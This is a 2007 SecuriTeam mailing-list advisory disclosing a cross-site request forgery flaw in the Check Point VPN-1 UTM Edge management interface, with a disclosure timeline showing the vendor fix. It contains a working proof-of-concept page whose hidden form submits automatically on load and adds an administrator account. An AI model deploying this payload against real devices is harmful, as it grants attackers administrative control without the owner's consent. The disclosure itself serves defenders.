The following security advisory is sent to the securiteam mailing list, and can
be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
CheckPoint VPN-1 UTM Edge Cross Site Request Forgery Vulnerability
------------------------------------------------------------------------
SUMMARY
VPN-1 UTM Edge appliances deliver "unified threat management to
enterprises with branch offices and simplify security deployments and
manageability."
During an audit of VPN-1 UTM Edge it was discovered that a cross site
request forgery vulnerability exists in the management interface. Thus, it
is possible for an attacker to perform any administrative actions in the
management interface. These include e.g. adding additional admin users.
DETAILS
Checkpoint VPN-1 Edge Embedded device management interface does not
validate the origin of an HTTP request. If attacker is able to make user
visit a hostile web page, a VPN-1 Edge device can be controlled by
submitting suitable forms. It is possible to add new users for example.
Successful attack requires that the attacker knows the management
interface address for the target device. As the management interface does
not have logout functionality, user can be vulnerable to this attack even
after closing a tab containing the management interface (if user does not
close the browser window or clear cookies and depending on browser
behaviour).
Proof of Concept:
Example form (adds new read-only administrator):
<html>
<body onload="document.CSRF.submit()">
<form name="CSRF" method="post"
action="https://fw.example.com/pop/WizU.html "style="display:none">
<input name="swstate" value="WizU1">
<input name="swtosave" value="1">
<input name="swback" value="0">
<input name="swindex" value="-1">
<input name="swuuser" value="evil-user">
<input name="swupass" value="password">
<input name="swuexp" value="0">
<input name="swuday" value="4">
<input name="swumonth" value="5">
<input name="swuyear" value="2008">
<input name="swuhour" value="03">
<input name="swumin" value="11">
<input name="swuampm" value="1">
<input name="swuacc" value="1">
<input name="swuvpn" value="0">
<input name="swuufp" value="0">
<input name="swuhot" value="0">
<input name="tacc" value="1">
</form>
</body>
</html>
Disclosure Timeline:
7. June 2007 - Contacted Checkpoint by email
26. June 2007 - Vendor released an updated version
26. June 2007 - Advisory was released
ADDITIONAL INFORMATION
The information has been provided by <mailto:henri.lindberg@louhi.fi>
Henri Lindberg, Associate of (ISC) or <mailto:jussi.vuokko@louhi.fi>
Jussi Vuokko, CISSP.
The original article can be found at:
<http://www.louhi.fi/advisory/checkpoint_070626.txt>
http://www.louhi.fi/advisory/checkpoint_070626.txt
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to:
list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any
kind.
In no event shall we be liable for any damages whatsoever including direct,
indirect, incidental, consequential, loss of business profits or special
damages.
